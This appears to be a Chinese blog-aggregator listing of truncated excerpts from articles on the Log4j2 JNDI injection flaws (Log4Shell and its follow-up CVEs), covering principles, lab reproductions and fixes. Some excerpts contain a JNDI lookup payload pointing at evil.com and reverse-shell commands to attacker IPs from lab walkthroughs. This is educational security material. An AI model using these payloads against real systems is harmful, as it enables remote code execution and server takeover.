CVE-2021-44228

vulhub中Apache Log4j2 lookup JNDI 注入漏洞（CVE-2021-44228）

ApacheLog4j2是Java语言的日志处理套件，使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似于`${jndi:ldap://evil.com/example}`的lookup用于进行JNDI注入，执行任意代码。1.服务启动后，访问`http://your-ip:8983`即可查看到ApacheSolr的后台页面。2.`$
余生有个小酒馆·2024-02-20 06:39

Log4J2漏洞（CVE-2021-44228）原理

目录Apachelog4j2-RCE漏洞一、漏洞简介二、漏洞原理三、靶场漏洞复现四、总结Apachelog4j2-RCE漏洞一、漏洞简介ApacheLog4j2是一个基于Java的日志记录工具，当前被广泛应用于业务系统开发，开发者可以利用该工具将程序的输入输出信息进行日志记录。2021年11月24日，阿里云安全团队向Apache官方报告了ApacheLog4j2远程代码执行漏洞。该漏洞是由于Apa
疯癫兄·2024-02-07 01:55

一文读懂面试官都在问的Log4J2漏洞

CVE-2021-44228漏洞简介ApacheLog4j2是一个基于Java的日志记录工具，当前被广泛应用于业务系统开发，开发者可以利用该工具将程序的输入输出信息进行日志记录。
YikJiang_·2024-02-07 01:54

Log4j2漏洞 CVE-2021-45046详情

当前描述发现ApacheLog4j2.15.0中针对CVE-2021-44228的修复在某些非默认配置中不完整。
无名··2024-02-03 02:00

Log4j JNDI漏洞（Log4Shell）

Log4jJNDI，CVE-2021-44228。Log4jLog4j是Java应用程序的日志记录工具。
AxisX·2024-01-30 11:42

【漏洞修复】Apache Log4j 远程代码执行漏洞(CVE-2021-44228、CVE-2021-45046)

摘要本文档适用于OpenEuler20、OpenEuler21、OpenEuler22、麒麟V10SP3、统信V10操作系统，修复Log4漏洞。问题描述ApacheLog4j是一个功能强大的日志组件，提供方便的日志记录。ApacheLog4j2存在远程代码执行漏洞，由于ApacheLog4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。修复方法方法一：升级log4j版
荒Huang·2024-01-25 02:42

[漏洞复现]Apache_log4j2（CVE-2021-44228）

安全公告编号:CNTA-2021-00322021年12月10日，国家信息安全漏洞共享平台（CNVD）收录了ApacheLog4j2远程代码执行漏洞（CNVD-2021-95914）。攻击者利用该漏洞，可在未授权的情况下远程执行代码。目前，漏洞利用细节已公开，Apache官方已发布补丁修复该漏洞。CNVD建议受影响用户立即更新至最新版本，同时采取防范性措施避免漏洞攻击威胁。一、漏洞情况分析Apac
free key·2024-01-10 18:22

log4j2原理分析及漏洞复现- CVE-2021-44228

目录log4j2原理分析及漏洞复现0x01log4j2简介0x02CVE-2021-44228漏洞简介：漏洞适用版本漏洞原理lookup功能jndi解析器jndi是什么ldap服务RMI0x03攻击过程0x04漏洞复现漏洞环境1.访问靶机2.dns回显验证3.将bash反弹shell命令编码备用4.使用JNDIExploit进行漏洞利用5.在攻击机中开启监听6.使用payload的进行攻击7.查看
zkzq·2023-12-25 13:32

漏洞复现-log4j2原理分析及CVE-2021-44228

log4j2原理分析及漏洞复现0x01log4j2简介Log4j2是一个用于Java应用程序的成熟且功能强大的日志记录框架。它是Log4j的升级版本，相比于Log4j，Log4j2在性能、可靠性和灵活性方面都有显著的改进。Log4j2特点高性能：Log4j2使用异步日志记录机制，可以提供比传统同步日志记录更高的吞吐量和更低的延迟，因此在高负载情况下仍然能够保持出色的性能。灵活的配置：Log4j2的
黑客大佬·2023-12-21 05:46

Log4j2漏洞

12/15漏洞更新如下官方链接CVE：http://cve.scap.org.cn/vuln/VHN-408570安全公告编号:CVE-2021-45046发现ApacheLog4j2.15.0中针对CVE
微小的xx·2023-12-02 05:45

网络安全|Burp插件梳理总结 （附工具合集源文档使用）

插件Log4j2Scan该工具为被动扫描Log4j2漏洞CVE-2021-44228的BurpSuite插件，具有多DNSLog（后端）平台支持，支持异步并发检测、内网检测、延迟检测等功能。
网络安全陈火乐·2023-11-28 23:50

Apache Log4j2(CVE-2021-44228) 高危安全漏洞介绍

目录一、漏洞描述二、受影响版本三、已知受影响应用及组件四、漏洞级别五、攻击原理六、攻击步骤七、修复建议ApacheLog4j2是一款优秀的Java日志框架。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。此次漏洞是用于Log4j2提供的lookup功能造成的，该功能允许开发者通过一些协议去读取相应环境中的配置。该漏洞一旦被攻击者利用会造成严
景天zy·2023-11-20 13:37

Apache Log4j 2 远程代码执行漏洞 ( CVE-2021-44228 )

Microsoft继续分析2021年12月9日披露的与ApacheLog4j（许多基于Java的应用程序中使用的日志记录工具）相关的远程代码执行漏洞(CVE-2021-44228)。
雕技小虫·2023-11-20 13:35

漏洞复现——log4j2-rce（CVE-2021-44228）

一、漏洞介绍漏洞名称：ApacheLog4j2远程代码执行漏洞组件名称：ApacheLog4j2截止2021年1210，受影响的Apachelog4j2版本：2.0≤ApacheLog4j&/dev/tcp/ip/port0>&1此处的ip为192.168.3.3，port可使用任意未被占用的端口，此处指定为5555即bash-i>&/dev/tcp/192.168.3.3/55550>&1对其进
小林话安全·2023-11-08 05:30

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

文章源自于个人博客:http://vfree.ltd/前言2021/12/09，阿里云安全团队向apache报告了由log4j日志引起的远程代码执行，12月10日，当天白帽跟提前过大年似的，疯狂刷src(利用超级简单)，让部分src平台暂时停止收类似该漏洞，凌晨，很多程序员和安全员被迫起来应急响应，几乎市面上的大厂都受到了该漏洞的影响这里做一个复现学习的小文章，由于对java这方面的知识雀食是薄弱
v.FREE·2023-11-08 05:30

CVE-2021-44228——Log4j2-RCE漏洞复现

漏洞介绍ApacheLog4j2是一个基于java的日志记录工具。由于ApacheLog4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经阿里云安全团队验证，ApacheStruts2、ApacheSolr、ApacheDruid、ApacheFlink等均受影响。影响版本ApacheLog4j22.0-beta9-2.15.0（不包括安全版本
Li-D·2023-11-08 05:00

vulfocus Apache log4j2-RCE 漏洞复现（CVE-2021-44228）

根据提示，漏洞存在于http://xxxxx/hello的payload参数中，并以post的方式传参，因此我们可以利用hackerbar进行漏洞验证创建靶场后是这样一个页面。使用payload验证，发现可以触发dnslog，可以确认可以利用证明存在JNDI注入漏洞。在这里我们需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来生成payload，建立1
kb2414·2023-11-08 05:56

log4j2 CVE-2021-44228漏洞复现

Log4j2是对log4j修改后的java日志框架，漏洞影响版本2.0-beta9到2.15.0。用的是log4j还是log4j2区分：1>.Log4j2分为2个jar包，一个是接口log4j-api-${版本号}.jar，一个是具体实现log4j-core-${版本号}.jar，而log4jj只有一个jar包log4j-${版本号}.jar。2>.Log4j2的package名称前缀为org.a
冬6325·2023-11-08 05:23

Log4j2—CVE-2021-44228漏洞复现

漏洞简介2021年11月24日，阿里云安全团队向Apache官方报告了ApacheLog4j2远程代码执行漏洞。ApacheLog4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷，未经授权的攻击者利用该漏洞，可向目标服务器发送精心构造的恶意数
kukuromi·2023-11-08 05:52

log4j2漏洞复现(CVE-2021-44228)

目录漏洞简介：影响版本：复现环境1：复现环境2:复现环境3：复现环境4：安全建议：漏洞简介：log4j是Apache公司的一款JAVA日志框架，基本上只要是java的框架都会用到这个log4j框架，所以上周不管是不是IT圈的都几乎被刷屏了，可见这个洞的危害之大，波及范围之广。所以复现一下。影响版本：ApacheLog4j2.x>=2.0-beta9且&/dev/tcp/192.168.0.16/5
lionwerson·2023-11-08 05:20

log4j2-rce漏洞复现(CVE-2021-44228)

影响版本：ApacheLog4j22.0-beta9-2.15.0（不包括安全版本2.12.2、2.12.3和2.3.1）漏洞编号：CVE-2021-44228漏洞复现利用vulfocus搭建并启动靶场
Z_l123·2023-11-08 05:49

log4j2远程代码执行漏洞复现（CVE-2021-44228）

log4j2远程代码执行漏洞复现（CVE-2021-44228）1.漏洞简介:什么是log4j2Apachelog4j2是一个基于java的日志记录工具，当前被广泛应用于业务系统开发，开发者可以利用该工具将程序的输入输出信息进行日志记录
凤和而歌·2023-11-08 05:19

CVE-2021-44228:Apache Log4j RCE

文章前言本篇文章我们主要介绍关于CVE-2021-44228:ApacheLog4jRCE漏洞的自检与修复，帮助甲方人员尽快修复项目中存在的不安全依赖漏洞概述ApacheLog4j2是⼀个基于Java的
FLy_鹏程万里·2023-11-08 05:15

log4j CVE-2021-44228 RCE漏洞复现

一、漏洞特征ApacheLog4j是Apache的一个开源项目，ApacheLog4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等，通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发，用来记录日志信息。影响版本：ApacheLog4j2.x&/de
只为了拿0day·2023-11-08 05:45

CVE-2021-44228 Apache log4j 远程命令执行漏洞

一、漏洞原理log4j(logforjava)是由Java编写的可靠、灵活的日志框架，是Apache旗下的一个开源项目，使用Log4j，我们更加方便的记录了日志信息，它不但能控制日志输出的目的地，也能控制日志输出的内容格式；通过定义不同的日志级别，可以更加精确的控制日志的生成过程，从而达到我们应用的需求；这一切，都得益于一个灵活的配置文件，并不需要我们更改代码。由于log4j提供了lookup机制
连人·2023-10-26 17:51

Log4j 漏洞处置方案汇总

Log4j漏洞处置方案汇总#Log4j2（CVE-2021-44228/CVE-2021-45046/CVE-2021-45105）安全建议1、排查应用是否引入了Apachelog4j-coreJar包
丿星纟彖彳亍·2023-10-21 22:16

Apache_Log4j2查找功能JNDI注入_CVE-2021-44228

Apache_Log4j2查找功能JNDI注入_CVE-2021-44228文章目录Apache_Log4j2查找功能JNDI注入_CVE-2021-442281在线漏洞解读:2环境搭建3影响版本：4漏洞复现
煜磊·2023-10-15 13:13

如何检查Java项目是否依赖于有漏洞的Log4j

众所周知，被定义和跟踪为CVE-2021-44228，也被称为Log4Shell的Log4j漏洞，允许攻击者在目标系统中执行任意代码。
Java弟中弟·2023-10-13 14:50

log4j2漏洞原理分析及复现-CVE-2021-44228 （vulfocus靶场）

概念log4j（logforjava），Apache的开源日志记录组件，使用非常广泛什么是LDAP？轻型目录访问协议（LightweightDirectoryAccessProtocol，是一个开放的，中立的，工业标准的应用协议，通过IP协议提供访问控制和维护分布式信息的目录信息。目录结构的优点：假如有个一个数据库，名叫职业，该数据库有许多表如学生、老师、工程师...，表的字段也有许多，如姓名、性
imz丶·2023-10-10 16:00

Log4j2 远程代码执行漏洞（cve-2021-44228）原理剖析

影响版本4、修复思路要了解本次Log4j2rce的原理，首先我们得知道什么是JNDI，什么是JNDI注入，什么是RMI，什么又是LDAP…本文中只讲原理，具体复现请转至：Log4j2远程代码执行漏洞（cve
我是大肥鼠·2023-10-10 16:58

Log4j2远程代码执行漏洞(cve-2021-44228)复现

Log4j2远程代码执行漏洞(cve-2021-44228)复现(反弹shell)前言漏洞描述Apachelog4j是Apache的一个开源项目，Apachelog4j2是一个就Java的日志记录工具。
citytwilight·2023-10-10 16:58

Apache Log4j2 远程代码执行漏洞 2.15.0(CVE-2021-44228)

ApacheLog4j2远程代码执行漏洞4.0.0org.examplelog4j-rce1.0-SNAPSHOT61.6org.apache.logging.log4jlog4j-core2.14.1org.apache.logging.log4jlog4j-api2.14.1org.apache.maven.pluginsmaven-surefire-plugin2.19.1maven-ass
吉吉_大王·2023-10-10 16:28

Log4j2 zero day(CVE-2021-44228) 漏洞浅析

引言:不管是什么编程语言，不管是前端后端还是客户端，对打日志都不会陌生。通过日志，可以帮助我们了解程序的运行情况，排查程序运行中出现的问题。在Java技术栈中，用的比较多的日志输出框架主要是log4j2和logback。我们经常会在日志中输出一些变量，比如：logger.info(“projname:{}”,name),那作为一个优秀的全异步日志框架log4j2是否就是完美无瑕的呢?No,当然不是
漩涡剑人·2023-10-10 16:56

Log4j2中2.16.0版漏洞（CVE-2021-45105）原理、复现步骤和修复方法(2.17.0修复原理)

系列文章2.15.0之前版漏洞相关文章Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理
程序员Daddy·2023-10-10 16:21

CVE-2021-44228 Log4j 远程代码执行漏洞——原理

目录0x01、Log4j介绍用法：1、Pom.xml引入依赖2、获得logger实例3、logger.info()debug()error()warn()方法
@Camelus·2023-10-10 16:21

Log4j2中2.15.0版漏洞（CVE-2021-45046）的注入原理、复现步骤和如何修复(2.16.0修复原理)

系列文章2.15.0之前版漏洞相关文章Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理
程序员Daddy·2023-10-10 16:50

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理(2.15.0-RC1、2.15.0、2.16.0)

系列文章2.15.0之前版漏洞相关文章Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理
程序员Daddy·2023-10-10 16:50

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

系列文章2.15.0之前版漏洞相关文章Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理
程序员Daddy·2023-10-10 16:50

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识

系列文章2.15.0之前版漏洞相关文章Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理
程序员Daddy·2023-10-10 16:19

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)

系列文章2.15.0之前版漏洞相关文章Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理
程序员Daddy·2023-10-10 16:19

Log4j2的JNDI注入漏洞（CVE-2021-44228）原理分析与思考

目录前言一、前置知识1.1Log4j21.2Log4j2Lookup1.3JNDI1.4JNDI注入二、漏洞复现三、漏洞原理3.1MessagePatternConverter.format()3.2StrSubstitutor.resolveVariable()3.3Interpolator.lookup()3.4JndiLookup.lookup()3.5JndiManager.lookup(
zkzq·2023-10-10 16:45

Apache Log4j2 (CVE-2021-44228)漏洞详细复现过程(docker)

参考链接：https://blog.csdn.net/hilaryfrank/article/details/121920264基础知识JNDI漏洞攻击原理原理概述因为Log4j2默认支持解析ldap/rmi协议（只要打印的日志中包括ldap/rmi协议即可），并会通过名称从ldap服务端其获取对应的Class文件，并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击
echokp·2023-09-23 15:26

log4j2原理分析及漏洞复现CVE-2021-44228

文章目录log4j2原理分析及漏洞复现0x01log4j2简介Log4j2特点Log4j2组件的应用0x02CVE-2021-44228漏洞简介：漏洞适用版本漏洞原理lookup功能jndi解析器jndi是什么ldap服务RMI0x03攻击过程0x04漏洞复现漏洞环境1.访问靶机2.dns回显验证3.将bash反弹shell命令编码备用4.使用JNDIExploit进行漏洞利用5.在攻击机中开启监
rumilc·2023-09-19 20:39

Log4j反序列化命令执行漏洞(CVE-2017-5645)&Apache Log4j2 lookup JNDI 注入漏洞（CVE-2021-44228）

一.Log4j反序列化命令执行漏洞(CVE-2017-5645）ApacheLog4j是一个用于Java的日志记录库，其支持启动远程日志服务器。ApacheLog4j2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码环境：vulhub工具下载地址：ysoserial利用工具生成payload：#创建文件java-jarysoserial-all.jarCommonsColle
mushangqiujin·2023-08-21 08:42

Log4j2 - JNDI 注入漏洞复现（CVE-2021-44228）

文章目录ApacheLog4j简介漏洞介绍影响版本漏洞编号影响组件应用环境准备靶场搭建漏洞利用利用工具使用方式反弹shell操作漏洞修复建议ApacheLog4j简介Apachelog4j是Apache的一个开源项目，Apachelog4j2是一个Java的日志记录工具。该工具重写了log4j框架，并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等，通过定义每一
渗透测试小白·2023-08-18 14:09

Log4j 2 (CVE-2021-44228)漏洞复现

文章目录Log4j2(CVE-2021-44228)漏洞复现一、复现环境二、复现过程Log4j2(CVE-2021-44228)漏洞复现一、复现环境Vulhub：https://github.com/vulhub
Tigirs·2023-08-14 17:00

Log4j2远程代码执行漏洞复现(cve-2021-44228)

Log4j2远程代码执行漏洞(cve-2021-44228)复现笔记内容前言Apachelog4j是Apache的一个开源项目，Apachelog4j2是一个就Java的日志记录工具。
初兮&·2023-07-16 01:52

【vulhub】Log4j2：CVE-2021-44228漏洞复现

本次复现的参考：https://www.freebuf.com/vuls/329984.html、https://cloud.tencent.com/developer/article/1944751、https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA。原理ApacheLog4j是Apache的一个开源项目，ApacheLog4j2是一个基于Java
寧小樂·2023-07-16 01:52

log4j漏洞复现(CVE-2021-44228)

简介Log4j是一款开源Java日志记录工具。Log4j2是对Log4j的重大升级，此次漏洞的出现，正是由用于Log4j2提供的lookup功能造成的，该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中，并未对输入进行严格的判断，从而造成漏洞的发生。影响范围ApacheLog4j2.xorg.apache.logging.log4jlog4j-core2.14.1复现值得注意的是
qq_1136014935·2023-07-16 01:49

log4j2漏洞复现 (CVE-2021-44228)

一.漏洞原理：ApacheLog4j2中存在JNDI注入漏洞，当程序将用户输入的数据进行日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码。通俗简单的说就是：在打印日志的时候，如果你的日志内容中包含关键词${，攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令，并且执行ApacheLog4j2是一款开源的Java日志记录工具，大量的业务框架都使用了该组件。此次漏洞是用
莫路客·2023-07-16 01:48
上一页 1 2 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他